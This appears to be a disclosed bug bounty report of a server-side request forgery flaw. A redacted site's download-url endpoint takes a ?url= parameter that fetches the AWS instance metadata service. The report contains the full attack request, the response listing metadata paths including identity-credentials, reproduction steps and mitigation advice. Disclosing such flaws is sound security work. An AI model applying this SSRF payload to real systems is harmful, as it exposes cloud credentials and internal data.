SSRF ACCESS AWS METADATA - █████

How it was found

Hi Security Team, Based on https://hackerone.com/hack-us-h1c challenge, I have urgent vulnerability and the challenge doesn't accept reprots for now 1:56 AM . I have found a SSRF Vulnerability which allow access to the AWS metadata, using Parameter ?url= as shown blew An attacker can tunnel into internal networks and access sensitive internal data such as AWS meta data information.

. Http Request

GET /api/v1/download-url?url=http://█████/latest/meta-data/ HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Allow-Origin: *
Referer: https://████/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

. Http Response

HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Mon, 04 Jul 2022 05:42:12 GMT
Content-Type: text/plain
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
Front-End-Https: on
Content-Length: 313

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

. . SCREEN SHOT ████ . .

Impact

SSRF Vulnerability Remote Access to AWS metadata

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

1 - Visit https://██████████ 2 - Press 'Import from URL' Button & Enter SSRF Payload in the Dialog Box 3 - Intercept the Request & observe the response

Suggested Mitigation/Remediation Actions

Sanitize user supplied input in paramter ?url= Block access to internal networks